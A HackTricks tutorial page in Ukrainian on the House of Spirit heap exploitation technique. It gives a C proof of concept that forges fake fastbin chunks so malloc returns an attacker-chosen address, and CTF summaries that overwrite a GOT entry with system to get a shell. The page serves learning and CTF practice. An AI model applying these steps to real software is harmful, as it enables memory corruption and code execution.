House of Spirit
Last updated
Last updated
Вивчайте та практикуйте хакінг AWS: Навчання AWS Red Team Expert (ARTE) від HackTricks Вивчайте та практикуйте хакінг GCP: Навчання GCP Red Team Expert (GRTE) від HackTricks
Перевірте плани підписки!
Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.
Поширюйте хакінг-прийоми, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв GitHub.
```c #include #include #include #include
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };
int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30); printf("Victim: %p\n", victim);
return 0; }
</details>
### Мета
* Мати можливість додавати адресу в tcache / fast bin, щоб потім можна було її виділити
### Вимоги
* Цей атака вимагає, щоб зловмисник міг створити кілька фальшивих швидких частин, правильно вказавши значення їх розміру, і потім мати можливість вивільнити перший фальшивий чанк, щоб він потрапив у бін.
### Атака
* Створіть фальшиві чанки, які обходять перевірки безпеки: вам знадобиться 2 фальшивих чанки, які в основному вказують на правильні розміри на правильних позиціях
* Якимось чином вивільніть перший фальшивий чанк, щоб він потрапив у швидкий або tcache бін, і потім виділіть його, щоб перезаписати ту адресу
**Код від** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **дуже добре пояснює атаку.** Хоча ця схема з коду досить добре її узагальнює:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
Зверніть увагу, що необхідно створити другий чанк, щоб обійти деякі перевірки на адекватність.
Витік інформації про Libc: Через переповнення можна змінити вказівник, щоб вказував на адресу GOT, щоб витікти адресу Libc через дію читання CTF
House of Spirit: Зловживання лічильником, який підраховує кількість "гвинтів", можливо згенерувати фальшивий розмір першого фальшивого чанка, потім зловживанням "повідомленням" можливо підробити другий розмір чанка, і, нарешті, зловживанням переповненням можливо змінити вказівник, який буде звільнений, щоб наш перший фальшивий чанк був звільнений. Потім ми можемо виділити його, і всередині нього буде адреса, куди зберігається "повідомлення". Потім можливо зробити це вказівкою на запис scanf
всередині таблиці GOT, щоб ми могли перезаписати його адресою до системи.
Наступного разу, коли викликається scanf
, ми можемо відправити введення "/bin/sh"
і отримати оболонку.
Витік Glibc: Неініціалізований буфер стеку.
House of Spirit: Ми можемо змінити перший індекс глобального масиву вказівників кучі. За допомогою однобайтової модифікації ми використовуємо free
на фальшивому чанку всередині дійсного чанку, щоб отримати ситуацію перекривання чанків після повторного виділення. З цим працює проста атака отруєння Tcache для отримання довільного запису.
Вивчайте та практикуйте взлом AWS:Навчання HackTricks AWS Red Team Expert (ARTE) Вивчайте та практикуйте взлом GCP: Навчання HackTricks GCP Red Team Expert (GRTE)